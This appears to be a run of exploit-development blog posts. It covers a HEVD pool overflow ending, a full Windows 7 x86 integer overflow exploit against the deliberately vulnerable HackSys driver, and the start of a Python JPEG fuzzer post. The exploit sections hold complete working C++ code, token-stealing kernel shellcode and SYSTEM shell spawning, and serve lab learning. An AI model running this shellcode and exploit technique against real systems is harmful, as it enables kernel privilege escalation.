Now that we can control the pool to a predictable degree, it’s time to overwrite that type index and change it from 0xc to 0x0. Everything else in between our 0x200 allocation and this byte need to remain the same or we’ll get a BSOD.

Let’s just use the dd command to dump 32 DWORD values from the beginning of the Event Objects right after our kernel buffer real quick. repaste in here the memory pane view of an Event Object, and you can see how I formulate the input buff in the exploit code.

kd> dd 8627e780 
8627e780  04080040 ee657645 00000000 00000040
8627e790  00000000 00000000 00000001 00000001
8627e7a0  00000000 0008000c 8637f940 00000000
----SNIP----

Right. So we need to keep everything but the starred 0xc intact and overwrite this single byte with 0x0. Looks like we’re overwriting 40 bytes in total or 0x28, which gives us an input buffer size of 0x220. We’ll make an overwrite_payload variable that is a byte buffer and well copy it into the last 0x28 bytes of a 0x220 sized buffer with our original \x42 values taking up the first 0x1F8 bytes as follows:

 ULONG payload_len = 0x220;

    BYTE* input_buff = (BYTE*)VirtualAlloc(NULL,
        payload_len + 0x1,
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);

    BYTE overwrite_payload[] = (
        "\x40\x00\x08\x04"  // pool header
        "\x45\x76\x65\xee"  // pool tag
        "\x00\x00\x00\x00"  // obj header quota begin
        "\x40\x00\x00\x00"
        "\x00\x00\x00\x00"
        "\x00\x00\x00\x00"  // obj header quota end
        "\x01\x00\x00\x00"  // obj header begin
        "\x01\x00\x00\x00"
        "\x00\x00\x00\x00"
        "\x00\x00\x08\x00" // 0xc converted to 0x0
        );

    memset(input_buff, '\x42', 0x1F8);
    memcpy(input_buff + 0x1F8, overwrite_payload, 0x28)

We’ll also want to allocate the NULL page which I pulled directly from tekwizzz123.

void allocate_shellcode() {

    _NtAllocateVirtualMemory NtAllocateVirtualMemory = 
        (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"),
            "NtAllocateVirtualMemory");

    INT64 address = 0x1;
    int size = 0x100;

    HANDLE result = (HANDLE)NtAllocateVirtualMemory(
        GetCurrentProcess(),
        (PVOID*)&address,
        NULL,
        (PSIZE_T)&size,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    if (result == INVALID_HANDLE_VALUE) {
        cout << "[!] Unable to allocate NULL page...wtf?\n";
        cout << "[!] Last error: " << dec << GetLastError() << "\n";
        exit(1);
    }
    cout << "[>] NULL page mapped.\n";
    cout << "[>] Putting 'AAAA' on NULL page...\n";

    memset((void*)0x0, '\x41', 0x100);

}

I’ll also fill the NULL page with pure \x41 values so that we should run this code and get an Access Violation exception with an eip value of 41414141.

Last but not least, we have to free our chunks so that the CloseProcedure is activated!

void free_chunks() {

    cout << "[>] Freeing defragmentation allocations...\n";
    for (int i = 0; i < defragment_handles.size(); i++) {

        BOOL freed = CloseHandle(defragment_handles[i]);
        if (freed == false) {
            cout << "[!] Unable to free defragment allocation!\n";
            cout << "[!] Last error: " << GetLastError() << "\n";
            exit(1);
        }
    }
    cout << "[>] Defragmentation allocations freed.\n";
    cout << "[>] Freeing sequential allocations...\n";
    for (int i = 0; i < sequential_handles.size(); i++) {

        BOOL freed = CloseHandle(sequential_handles[i]);
        if (freed == false) {
            cout << "[!] Unable to free defragment allocation!\n";
            cout << "[!] Last error: " << GetLastError() << "\n";
            exit(1);
        }
    }
    cout << "[>] Sequential allocations freed.\n";
}

We run this code and what happens??

Access violation - code c0000005 (!!! second chance !!!)
41414141 ??              ???

We did it!!

You can examine the pool allocations too. Look at pool allocation right after our kernel buffer. We’ve replaced 0xc with 0x0 and you can see how it differs from the next Event Object as I’ve marked them with asteriks.

855b8af8 42 42 42 42 42 42 42 42 40 00 08 04 45 76 65 ee  [email protected]
855b8b08 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00  [email protected]
855b8b18 01 00 00 00 01 00 00 00 00 00 00 00 *00* 00 08 00  ................
855b8b28 80 82 14 85 00 00 00 00 01 00 04 00 00 00 00 00  ................
855b8b38 38 8b 5b 85 38 8b 5b 85 08 00 08 04 45 76 65 ee  8.[.8.[.....Eve.
855b8b48 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00  [email protected]
855b8b58 01 00 00 00 01 00 00 00 00 00 00 00 *0c* 00 08 00  ................

Now let’s just allocate some shellcode there…

Shellcode Implementation

We’re going to first use our shellcode from our Uninit Stack Variable exploit and see how far that gets us:

char Shellcode[] = (
		"\x60"
		"\x64\xA1\x24\x01\x00\x00"
		"\x8B\x40\x50"
		"\x89\xC1"
		"\x8B\x98\xF8\x00\x00\x00"
		"\xBA\x04\x00\x00\x00"
		"\x8B\x80\xB8\x00\x00\x00"
		"\x2D\xB8\x00\x00\x00"
		"\x39\x90\xB4\x00\x00\x00"
		"\x75\xED"
		"\x8B\x90\xF8\x00\x00\x00"
		"\x89\x91\xF8\x00\x00\x00"
		"\x61"
		"\xC3"
		);

These are my breakpoints right now:

kd> bp !HEVD+4D64
kd> ba r1 0x60
kd> bl
 0 e 8c295d64     0001 (0001) HEVD!TriggerNonPagedPoolOverflow+0xe6
 1 e 00000060 r 1 0001 (0001) 

Here is the disassembly pane after we hit our access breakpoint a few times (remember that that address will be accessed multiple times during our exploit). You can see we’re calling a function located at edi + 0x60 when edi is set to 0. So, this is our shellcode we’re about to run:

Here is the call stack:

We can see in the memory pane that we’re pushing 4 DWORDs onto the stack setting up our call to dword ptr [esp+0x60] which we would need to clean up in our subroutine (shellcode). So our shellcode will end with a ret 0x10 instruction to compensate.

Getting an nt authority/system shell »>

Full exploit code: here

Conclusion

That was a really fun one. Thanks again to the aforementioned authors and exploit writers. Even though this exploit vector involved some relatively old techniques, it was still fun for me and I learned a lot just about memory management in general and got some more experience in WinDBG. Until next time!

HEVD Exploits – Windows 7 x86 Integer Overflow

20 April 2020 at 04:00
By: h0mbre

Introduction

Continuing on with my goal to develop exploits for the Hacksys Extreme Vulnerable Driver. I will be using HEVD 2.0. There are a ton of good blog posts out there walking through various HEVD exploits. I recommend you read them all! I referenced them heavily as I tried to complete these exploits. Almost nothing I do or say in this blog will be new or my own thoughts/ideas/techniques. There were instances where I diverged from any strategies I saw employed in the blogposts out of necessity or me trying to do my own thing to learn more.

This series will be light on tangential information such as:

  • how drivers work, the different types, communication between userland, the kernel, and drivers, etc
  • how to install HEVD,
  • how to set up a lab environment
  • shellcode analysis

The reason for this is simple, the other blog posts do a much better job detailing this information than I could ever hope to. It feels silly writing this blog series in the first place knowing that there are far superior posts out there; I will not make it even more silly by shoddily explaining these things at a high-level in poorer fashion than those aforementioned posts. Those authors have way more experience than I do and far superior knowledge, I will let them do the explaining. :)

This post/series will instead focus on my experience trying to craft the actual exploits.

Thanks

Thanks to @tekwizz123, I used his method of setting up the exploit buffer for the most part as the Windows macros I was using weren’t working (obviously user error.)

Integer Overflow

This was a really interesting bug to me. Generically, the bug is when you have some arithmetic in your code that allows for unintended behavior. The bug in question here involved incrementing a DWORD value that was set 0xFFFFFFFF which overflows the integer size and wraps the value around back to 0x00000000. If you add 0x4 to 0xFFFFFFFF, you get 0x100000003. However, this value is now over 8 bytes in length, so we lose the leading 1 and we’re back down to 0x00000003. Here is a small demo program:

#include <iostream>
#include <Windows.h>

int main() {

	DWORD var1 = 0xFFFFFFFF;
	DWORD var2 = var1 + 0x4;

	std::cout << ">> Variable One is: " << std::hex << var1 << "\n";
	std::cout << ">> Variable Two is: " << std::hex << var2 << "\n";
}

Here is the output:

>> Variable One is: ffffffff
>> Variable Two is: 3

I actually learned about this concept from Gynvael Coldwind’s stream on fuzzing. I also found the bug in my own code for an exploit on a real vulnerability I will hopefully be doing a write-up for soon (when the CVE gets published.) Now that we know how the bug occurs, let’s go find the bug in the driver in IDA and figure out how we can take advantage.

Reversing the Function

With the benefit of the comments I made in IDA, we can kind of see how this works. I’ve annotated where everything is after stepping through in WinDBG.

The first thing we notice here is that ebx gets loaded with the length of our input buffer in DeviceIoControl when we do this operation here: move ebx, [ebp+Size]. This is kind of obvious, but I hadn’t really given it much thought before. We allocate an input buffer in our code, usually its a character or byte array, and then we usually satisfy the DWORD nInBufferSize parameter by doing something like sizeof(input_buffer) or sizeof(input_buffer) - 1 because we actually want it to be accurate. Later, we might actually lie a little bit here.

Now that ebx is the length of our input buffer, we see that it gets +4 added to it and then loaded into to eax. If we had an input buffer of 0x7FC, adding 0x4 to it would make it 0x800. A really important thing to note here is that we’ve essentially created a new length variable in eax and kept our old one in ebx intact. In this case, eax would be 0x800 and ebx would still hold 0x7FC.

Next, eax is compared to esi which we can see holds 0x800. If the eax is equal to or more than 0x800, we can see that take the red path down to the Invalid UserBuffer Size debug message. We don’t want that. We need to satisfy this jbe condition.

If we satisfy the jbe condition, we branch down to loc_149A5. We put our buffer length from ebx into eax and then we effectively divide it by 4 since we do a bit shift right of 2. We compare this to quotient to edi which was zeroed out previously and has remained up until now unchanged. If length/4 quotient is the same or more than the counter, we move to loc_149F1 where we will end up exiting the function soon after. Right now, since our length is more than edi, we’ll jump to mov eax, [ebp+8].

This series of operations is actually the interesting part. eax is given a pointer to our input buffer and we compare the value there with 0BAD0B0B0. If they are the same value, we move towards exiting the function. So, so far we have identified two conditions where we’ll exit the function: if edi is ever equal to or more than the length of our input buffer divided by 4 OR if the 4 byte value located at [ebp+8] is equal to 0BAD0B0B0.

Let’s move on to the final puzzle piece. mov [ebp+edi*4+KernelBuffer], eax is kind of convoluted looking but what it’s doing is placing the 4 byte value in eax into the kernel buffer at index edi * 0x4. Right now, edi is 0, so it’s placing the 4 byte value right at the beginning of the kernel buffer. After this, the dword ptr value at ebp+8 is incremented by 0x4. This is interesting because we already know that ebp+0x8 is where the pointer is to our input buffer. So now that we’ve placed the first four bytes from our input buffer into the kernel buffer, we move now to the next 4 bytes. We see also that edi incremented and we now understand what is taking place.

As long as:

  1. the length of our buffer + 4 is < 0x800,
  2. the Counter variable (edi) is < the length of our buffer divided by 4,
  3. and the 4 byte value in eax is not 0BAD0B0B0,

we will copy 4 bytes of our input buffer into the kernel buffer and then move onto the next 4 bytes in the input buffer to test criteria 2 and 3 again.

There can’t really be a problem with copying bytes from the user buffer into the kernel buffer unless somehow the copying exceeds the space allocated in the kernel buffer. If that occurs, we’ll begin overwriting adjacent memory with our user buffer. How can we fool this length + 0x4 check?

Manipulating DWORD nInBufferSize

First we’ll send a vanilla payload to test our theories up to this point. Let’s start by sending a buffer full of all \x41 chars and it will be a length of 0x750 (null-terminated). We’ll use the sizeof() - 1 method to form our nInBufferSize parameter and account for the null terminator as well so that everything is accurate and consistent. Our code will look like this at this point:

#include <iostream>
#include <string>
#include <iomanip>

#include <Windows.h>

using namespace std;

#define DEVICE_NAME         "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL               0x222027

HANDLE get_handle() {

    HANDLE hFile = CreateFileA(DEVICE_NAME,
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        cout << "[!] No handle to HackSysExtremeVulnerableDriver.\n";
        exit(1);
    }

    cout << "[>] Handle to HackSysExtremeVulnerableDriver: " << hex << hFile
        << "\n";

    return hFile;
}

void send_payload(HANDLE hFile) {

    

    BYTE input_buff[0x751] = { 0 };

    // 'A' * 1871
    memset(
        input_buff,
        '\x41',
        0x750);

    cout << "[>] Sending buffer of size: " << sizeof(input_buff) - 1  << "\n";

    DWORD bytes_ret = 0x0;

    int result = DeviceIoControl(hFile,
        IOCTL,
        &input_buff,
        sizeof(input_buff) - 1,
        NULL,
        0,
        &bytes_ret,
        NULL);

    if (!result) {
        cout << "[!] Payload failed.\n";
    }
}

int main()
{
    HANDLE hFile = get_handle();

    send_payload(hFile);
}

What are our predictions for this code? What conditions will we hit? The criteria for copying bytes from user buffer to kernel buffer was:

  1. the length of our buffer + 4 is < 0x800,
  2. the Counter variable (edi) is < the length of our buffer divided by 4,
  3. and the 4 byte value in eax is not 0BAD0B0B0

We should pass the first check since our buffer is indeed small enough. This second check will eventually make us exit the function since our length divided by 4, will eventually be caught by the Counter as it increments every 4 byte copy. We don’t have to worry about the third check as we don’t have this string in our payload. Let’s send it and step through it in WinDBG.

This picture helps us a lot. I’ve set a breakpoint on the comparison between the length of our buffer + 4 and 0x800. As you can see, eax holds 0x754 which is what we would expect since we sent a 0x750 byte buffer.

In the bottom right, we our user buffer was allocated at 0x0012f184. Let’s set a break on access at 0x0012f8d0 since that is 0x74c away from where we are now, which is 0x4 short of 0x750. If this 4 byte address is accessed for a read-operation we should hit our breakpoint. This will occur when the program goes to copy the 4 byte value here to the kernel buffer.

The syntax is ba r1 0x0012f8d0 which means “break on access if there is a read of at least 1 byte at that address.”

We resume from here, we hit our breakpoint.

Take a look at edi, we can see our counter has incremented 0x1d3 times at this point, which is very close to the length of our buffer (0x750) divided by 0x4 (0x1d4). We can see that right now, we’re doing a comparison on the 4 byte value at this address to ecx or bad0b0b0. We won’t hit that criteria but on the next iteration, our counter will be == to 0x1d4 and thus, we will be finished copying bytes into the kernel buffer. Everything worked as expected. Now let’s send a fake DWORD nInBufferSize value of 0xFFFFFFFF and watch us sail right through length check and see what else we bypass.

Our DeviceIoControl call now looks like this:

int result = DeviceIoControl(hFile,
        IOCTL,
        &input_buff,
        ULONG_MAX,
        NULL,
        0,
        &bytes_ret,
        NULL);

When we hit a breakpoint at the point where we see eax being loaded with our user buffer length + 0x4, we see that right before the arithmetic, we are at a length of 0xffffffff in ebx.

Then after the operation, we see eax rolls over to 0x3.

So we will pass the length check now for sure, which we saw coming, the other really interesting thing that we took note of previously but can see playing out here is that ebx has been left undisturbed and is at 0xffffffff still. This is the register used in the arithmetic to determine whether or not the Counter should keep iterating or not. This value is eventually loaded into eax and divided by 4!. 0xfffffffff divided by 4 will likely never cause us to exit the function. We will keep copying bytes from the user buffer to the kernel buffer basically forever now.

THIS IS NOT GOOD

Overwriting arbitrary memory in the kernel space is dangerous business. We can’t corrupt anything more than we absolutely have to. We need a way to terminate the copying function. In comes the terminator string of 0BAD0B0B0 to the rescue. If the 4 byte value in the user buffer is 0BAD0B0B0, we cease copying and exit the function. Obviously we BSOD here.

So hopefully, we can copy 0x800 bytes, and then start overwriting kernel memory on the stack where we can strategically place a pointer to shellcode. Like I said previously, you don’t want a huge overwrite here. I started at 0x800 and worked my way up 4 bytes at a time using a little pattern creating tool I made here until I got a crash.

Incrementing 4 bytes at a time I finally got a crash with a 0x830 buffer length where the last 4 bytes are 0BAD0B0B0.

Getting a Crash

After incrementing methodically from a buffer size of 0x800, and remember that this includes a 4 byte terminator string or else we’ll never stop copying into kernel space and BSOD the host, I finally got an exception that tried to execute code at 41414141 with a total buffer size of 0x830. (I also got an exception when I used a smaller buffer size of 0x82C but the address referenced was a NULL). In this buffer, I had 0x82C \x41 chars and then our terminator. So I figured our offset was going to be at 0x828 or 2088 in decimal, but just to make sure I used my pattern python script to get the exact offset.

[email protected]:~# python3 pattern.py -c 2092 -cpp
char pattern[] = 
"0Aa0Ab0Ac0Ad0Ae0Af0Ag0Ah0Ai0Aj0Ak0Al0Am0An0Ao0Ap0Aq0Ar0As0At0Au0Av0Aw0Ax0Ay0Az"
"0A00A10A20A30A40A50A60A70A80A90AA0AB0AC0AD0AE0AF0AG0AH0AI0AJ0AK0AL0AM0AN0AO0AP"
"0AQ0AR0AS0AT0AU0AV0AW0AX0AY0AZ0Ba0Bb0Bc0Bd0Be0Bf0Bg0Bh0Bi0Bj0Bk0Bl0Bm0Bn0Bo0Bp"
"0Bq0Br0Bs0Bt0Bu0Bv0Bw0Bx0By0Bz0B00B10B20B30B40B50B60B70B80B90BA0BB0BC0BD0BE0BF"
"0BG0BH0BI0BJ0BK0BL0BM0BN0BO0BP0BQ0BR0BS0BT0BU0BV0BW0BX0BY0BZ0Ca0Cb0Cc0Cd0Ce0Cf"
"0Cg0Ch0Ci0Cj0Ck0Cl0Cm0Cn0Co0Cp0Cq0Cr0Cs0Ct0Cu0Cv0Cw0Cx0Cy0Cz0C00C10C20C30C40C5"
"0C60C70C80C90CA0CB0CC0CD0CE0CF0CG0CH0CI0CJ0CK0CL0CM0CN0CO0CP0CQ0CR0CS0CT0CU0CV"
"0CW0CX0CY0CZ0Da0Db0Dc0Dd0De0Df0Dg0Dh0Di0Dj0Dk0Dl0Dm0Dn0Do0Dp0Dq0Dr0Ds0Dt0Du0Dv"
"0Dw0Dx0Dy0Dz0D00D10D20D30D40D50D60D70D80D90DA0DB0DC0DD0DE0DF0DG0DH0DI0DJ0DK0DL"
"0DM0DN0DO0DP0DQ0DR0DS0DT0DU0DV0DW0DX0DY0DZ0Ea0Eb0Ec0Ed0Ee0Ef0Eg0Eh0Ei0Ej0Ek0El"
"0Em0En0Eo0Ep0Eq0Er0Es0Et0Eu0Ev0Ew0Ex0Ey0Ez0E00E10E20E30E40E50E60E70E80E90EA0EB"
"0EC0ED0EE0EF0EG0EH0EI0EJ0EK0EL0EM0EN0EO0EP0EQ0ER0ES0ET0EU0EV0EW0EX0EY0EZ0Fa0Fb"
"0Fc0Fd0Fe0Ff0Fg0Fh0Fi0Fj0Fk0Fl0Fm0Fn0Fo0Fp0Fq0Fr0Fs0Ft0Fu0Fv0Fw0Fx0Fy0Fz0F00F1"
"0F20F30F40F50F60F70F80F90FA0FB0FC0FD0FE0FF0FG0FH0FI0FJ0FK0FL0FM0FN0FO0FP0FQ0FR"
"0FS0FT0FU0FV0FW0FX0FY0FZ0Ga0Gb0Gc0Gd0Ge0Gf0Gg0Gh0Gi0Gj0Gk0Gl0Gm0Gn0Go0Gp0Gq0Gr"
"0Gs0Gt0Gu0Gv0Gw0Gx0Gy0Gz0G00G10G20G30G40G50G60G70G80G90GA0GB0GC0GD0GE0GF0GG0GH"
"0GI0GJ0GK0GL0GM0GN0GO0GP0GQ0GR0GS0GT0GU0GV0GW0GX0GY0GZ0Ha0Hb0Hc0Hd0He0Hf0Hg0Hh"
"0Hi0Hj0Hk0Hl0Hm0Hn0Ho0Hp0Hq0Hr0Hs0Ht0Hu0Hv0Hw0Hx0Hy0Hz0H00H10H20H30H40H50H60H7"
"0H80H90HA0HB0HC0HD0HE0HF0HG0HH0HI0HJ0HK0HL0HM0HN0HO0HP0HQ0HR0HS0HT0HU0HV0HW0HX"
"0HY0HZ0Ia0Ib0Ic0Id0Ie0If0Ig0Ih0Ii0Ij0Ik0Il0Im0In0Io0Ip0Iq0Ir0Is0It0Iu0Iv0Iw0Ix"
"0Iy0Iz0I00I10I20I30I40I50I60I70I80I90IA0IB0IC0ID0IE0IF0IG0IH0II0IJ0IK0IL0IM0IN"
"0IO0IP0IQ0IR0IS0IT0IU0IV0IW0IX0IY0IZ0Ja0Jb0Jc0Jd0Je0Jf0Jg0Jh0Ji0Jj0Jk0Jl0Jm0Jn"
"0Jo0Jp0Jq0Jr0Js0Jt0Ju0Jv0Jw0Jx0Jy0Jz0J00J10J20J30J40J50J60J70J80J90JA0JB0JC0JD"
"0JE0JF0JG0JH0JI0JJ0JK0JL0JM0JN0JO0JP0JQ0JR0JS0JT0JU0JV0JW0JX0JY0JZ0Ka0Kb0Kc0Kd"
"0Ke0Kf0Kg0Kh0Ki0Kj0Kk0Kl0Km0Kn0Ko0Kp0Kq0Kr0Ks0Kt0Ku0Kv0Kw0Kx0Ky0Kz0K00K10K20K3"
"0K40K50K60K70K80K90KA0KB0KC0KD0KE0KF0KG0KH0KI0KJ0KK0KL0KM0KN0KO0KP0KQ0KR0KS0KT"
"0KU0KV0KW0KX0KY0KZ0La0Lb0Lc0Ld0Le0Lf0Lg0Lh0Li0Lj0Lk0Ll0Lm0Ln0Lo0";

I then added the terminator to the end like so.

---SNIP---
...Lm0Ln0Lo0\xb0\xb0\xd0\xba";

And we see I got an access violation at 306f4c30.

Using pattern again, I got the exact offset and we confirmed our suspicions.

[email protected]:~# python3 pattern.py -o 306f4c30
Exact offset found at position: 2088

From here on out, this plays out just like stack buffer overflow post, so please reference those posts if you have any questions! We initialize our shellcode, create a RWX buffer for it, move it there, and then use the address of the buffer to overwrite eip at that offset we found.

Final Code

#include <iostream>
#include <string>
#include <iomanip>

#include <Windows.h>

using namespace std;

#define DEVICE_NAME         "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL               0x222027

HANDLE get_handle() {

    HANDLE hFile = CreateFileA(DEVICE_NAME,
        FILE_READ_ACCESS | FILE_WRITE_ACCESS,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
        NULL);

    if (hFile == INVALID_HANDLE_VALUE) {
        cout << "[!] No handle to HackSysExtremeVulnerableDriver.\n";
        exit(1);
    }

    cout << "[>] Handle to HackSysExtremeVulnerableDriver: " << hex << hFile
        << "\n";

    return hFile;
}

void send_payload(HANDLE hFile) {

    char shellcode[] = (
        "\x60"
        "\x64\xA1\x24\x01\x00\x00"
        "\x8B\x40\x50"
        "\x89\xC1"
        "\x8B\x98\xF8\x00\x00\x00"
        "\xBA\x04\x00\x00\x00"
        "\x8B\x80\xB8\x00\x00\x00"
        "\x2D\xB8\x00\x00\x00"
        "\x39\x90\xB4\x00\x00\x00"
        "\x75\xED"
        "\x8B\x90\xF8\x00\x00\x00"
        "\x89\x91\xF8\x00\x00\x00"
        "\x61"
        "\x5d"
        "\xc2\x08\x00"
        );

    LPVOID shellcode_address = VirtualAlloc(NULL,
        sizeof(shellcode),
        MEM_RESERVE | MEM_COMMIT,
        PAGE_EXECUTE_READWRITE);

    memcpy(shellcode_address, shellcode, sizeof(shellcode));

    cout << "[>] RWX shellcode allocated at: " << hex << shellcode_address
        << "\n";

    BYTE input_buff[0x830] = { 0 };

    // 'A' * 0x828
    memset(input_buff, '\x41', 0x828);

    memcpy(input_buff + 0x828, &shellcode_address, 0x4);

    BYTE terminator[] = "\xb0\xb0\xd0\xba";

    memcpy(input_buff + 0x82c, &terminator, 0x4);

    cout << "[>] Sending buffer of size: " << sizeof(input_buff) << "\n";

    DWORD bytes_ret = 0x0;

    int result = DeviceIoControl(hFile,
        IOCTL,
        &input_buff,
        ULONG_MAX,
        NULL,
        0,
        &bytes_ret,
        NULL);

    if (!result) {
        cout << "[!] Payload failed.\n";
    }
}

void spawn_shell()
{
    PROCESS_INFORMATION Process_Info;
    ZeroMemory(&Process_Info, 
        sizeof(Process_Info));
    
    STARTUPINFOA Startup_Info;
    ZeroMemory(&Startup_Info, 
        sizeof(Startup_Info));
    
    Startup_Info.cb = sizeof(Startup_Info);

    CreateProcessA("C:\\Windows\\System32\\cmd.exe",
        NULL, 
        NULL, 
        NULL, 
        0, 
        CREATE_NEW_CONSOLE, 
        NULL, 
        NULL, 
        &Startup_Info, 
        &Process_Info);
}

int main()
{
    HANDLE hFile = get_handle();

    send_payload(hFile);

    spawn_shell();
}

Conclusion

This should net you a system shell.

Fuzzing Like A Caveman 2: Improving Performance

8 April 2020 at 04:00
By: h0mbre

Introduction

In this episode of ‘Fuzzing like a Caveman’ we’ll just be looking at improving the performance of our previous fuzzer. This means there won’t be any wholesale changes, we’re simply looking to improve upon what we already had in the previous post. This means we’ll still end up walking away from this blogpost with a very basic mutation fuzzer (please let it be faster!!) and hopefully some more bugs on a different target. We won’t really tinker with multi-threading or multi-processing in this post, we will save that for subsequent fuzzing posts.

I feel the need to add a DISCLAIMER here that I am not a professional developer, far from it. I’m simply not experienced enough with programming at this point to recognize opportunities to improve performance the way a more seasoned programmer would. I’m going to use my crude skillset and my limited knowledge of programming to improve our previous fuzzer, that’s it. The code produced will not be pretty, it will not be perfect, but it will be better than what we had in the previous post. It should also be mentioned that all testing was done on VMWare Workstation on an x86 Kali VM with 1 CPU and 1 Core.

Let’s take a moment to define ‘better’ in the context of this blog post as well. What I mean by ‘better’ here is that we can iterate through n fuzzing iterations faster, that’s it. We’ll take the time to completely rewrite the fuzzer, use a cool language, pick a hardened target, and employ more advanced fuzzing techniques at a later date. :)

Obviously, if you haven’t read the previous post you will be LOST!

Analyzing Our Fuzzer

Our last fuzzer, quite plainly, worked! We found some bugs in our target. But we knew we left some optimizations on the table when we turned in our homework. Let’s again look at the fuzzer from the last post (with minor changes for testing purposes):

#!/usr/bin/env python3

import sys
import random
from pexpect import run
from pipes import quote

# read bytes from our valid JPEG and return them in a mutable bytearray 
def get_bytes(filename):

	f = open(filename, "rb").read()

	return bytearray(f)

def bit_flip(data):

	num_of_flips = int((len(data) - 4) * .01)

	indexes = range(4, (len(data) - 4))

	chosen_indexes = []

	# iterate selecting indexes until we've hit our num_of_flips number
	counter = 0
	while counter < num_of_flips:
		chosen_indexes.append(random.choice(indexes))
		counter += 1

	for x in chosen_indexes:
		current = data[x]
		current = (bin(current).replace("0b",""))
		current = "0" * (8 - len(current)) + current
		
		indexes = range(0,8)

		picked_index = random.choice(indexes)

		new_number = []

		# our new_number list now has all the digits, example: ['1', '0', '1', '0', '1', '0', '1', '0']
		for i in current:
			new_number.append(i)

		# if the number at our randomly selected index is a 1, make it a 0, and vice versa
		if new_number[picked_index] == "1":
			new_number[picked_index] = "0"
		else:
			new_number[picked_index] = "1"

		# create our new binary string of our bit-flipped number
		current = ''
		for i in new_number:
			current += i

		# convert that string to an integer
		current = int(current,2)

		# change the number in our byte array to our new number we just constructed
		data[x] = current

	return data

def magic(data):

	magic_vals = [
	(1, 255),
	(1, 255),
	(1, 127),
	(1, 0),
	(2, 255),
	(2, 0),
	(4, 255),
	(4, 0),
	(4, 128),
	(4, 64),
	(4, 127)
	]

	picked_magic = random.choice(magic_vals)

	length = len(data) - 8
	index = range(0, length)
	picked_index = random.choice(index)

	# here we are hardcoding all the byte overwrites for all of the tuples that begin (1, )
	if picked_magic[0] == 1:
		if picked_magic[1] == 255:			# 0xFF
			data[picked_index] = 255
		elif picked_magic[1] == 127:		# 0x7F
			data[picked_index] = 127
		elif picked_magic[1] == 0:			# 0x00
			data[picked_index] = 0

	# here we are hardcoding all the byte overwrites for all of the tuples that begin (2, )
	elif picked_magic[0] == 2:
		if picked_magic[1] == 255:			# 0xFFFF
			data[picked_index] = 255
			data[picked_index + 1] = 255
		elif picked_magic[1] == 0:			# 0x0000
			data[picked_index] = 0
			data[picked_index + 1] = 0

	# here we are hardcoding all of the byte overwrites for all of the tuples that being (4, )
	elif picked_magic[0] == 4:
		if picked_magic[1] == 255:			# 0xFFFFFFFF
			data[picked_index] = 255
			data[picked_index + 1] = 255
			data[picked_index + 2] = 255
			data[picked_index + 3] = 255
		elif picked_magic[1] == 0:			# 0x00000000
			data[picked_index] = 0
			data[picked_index + 1] = 0
			data[picked_index + 2] = 0
			data[picked_index + 3] = 0
		elif picked_magic[1] == 128:		# 0x80000000
			data[picked_index] = 128
			data[picked_index + 1] = 0
			data[picked_index + 2] = 0
			data[picked_index + 3] = 0
		elif picked_magic[1] == 64:			# 0x40000000
			data[picked_index] = 64
			data[picked_index + 1] = 0
			data[picked_index + 2] = 0
			data[picked_index + 3] = 0
		elif picked_magic[1] == 127:		# 0x7FFFFFFF
			data[picked_index] = 127
			data[picked_index + 1] = 255
			data[picked_index + 2] = 255
			data[picked_index + 3] = 255
		
	return data

# create new jpg with mutated data
def create_new(data):

	f = open("mutated.jpg", "wb+")
	f.write(data)
	f.close()

def exif(counter,data):

    command = "exif mutated.jpg -verbose"

    out, returncode = run("sh -c " + quote(command), withexitstatus=1)

    if b"Segmentation" in out:
    	f = open("crashes2/crash.{}.jpg".format(str(counter)), "ab+")
    	f.write(data)
    	print("Segfault!")

    #if counter % 100 == 0:
    #	print(counter, end="\r")

if len(sys.argv) < 2:
	print("Usage: JPEGfuzz.py <valid_jpg>")

else:
	filename = sys.argv[1]
	counter = 0
	while counter < 1000:
		data = get_bytes(filename)
		functions = [0, 1]
		picked_function = random.choice(functions)
		picked_function = 1
		if picked_function == 0:
			mutated = magic(data)
			create_new(mutated)
			exif(counter,mutated)
		else:
			mutated = bit_flip(data)
			create_new(mutated)
			exif(counter,mutated)

		counter += 1

You may notice a few changes. We’ve:

  • commented out the print statement for the iterations counter every 100 iterations,
  • added print statements to notify us of any Segfaults,
  • hardcoded 1k iterations,
  • added this line: picked_function = 1 temporarily so that we eliminate any randomness in our testing and we only stick to one mutation method (bit_flip())

Let’s run this version of our fuzzer with some profiling instrumentation and we can really analyze how much time we spend where in our program’s execution.

We can make use of the cProfile Python module and see where we spend our time during 1,000 fuzzing iterations. The program takes a filepath argument to a valid JPEG file if you remember, so our complete command line syntax will be: python3 -m cProfile -s cumtime JPEGfuzzer.py ~/jpegs/Canon_40D.jpg.

It should also be noted that adding this cProfile instrumentation could slow down performance. I tested without it and for the iteration sizes we use in this post, it didn’t seem to make a significant difference.

After letting this run, we see our program output and we get to see where we spent the most time during execution.

2476093 function calls (2474812 primitive calls) in 122.084 seconds

   Ordered by: cumulative time

   ncalls  tottime  percall  cumtime  percall filename:lineno(function)
     33/1    0.000    0.000  122.084  122.084 {built-in method builtins.exec}
        1    0.108    0.108  122.084  122.084 blog.py:3(<module>)
     1000    0.090    0.000  118.622    0.119 blog.py:140(exif)
     1000    0.080    0.000  118.452    0.118 run.py:7(run)
     5432  103.761    0.019  103.761    0.019 {built-in method time.sleep}
     1000    0.028    0.000  100.923    0.101 pty_spawn.py:316(close)
     1000    0.025    0.000  100.816    0.101 ptyprocess.py:387(close)
     1000    0.061    0.000    9.949    0.010 pty_spawn.py:36(__init__)
     1000    0.074    0.000    9.764    0.010 pty_spawn.py:239(_spawn)
     1000    0.041    0.000    8.682    0.009 pty_spawn.py:312(_spawnpty)
     1000    0.266    0.000    8.641    0.009 ptyprocess.py:178(spawn)
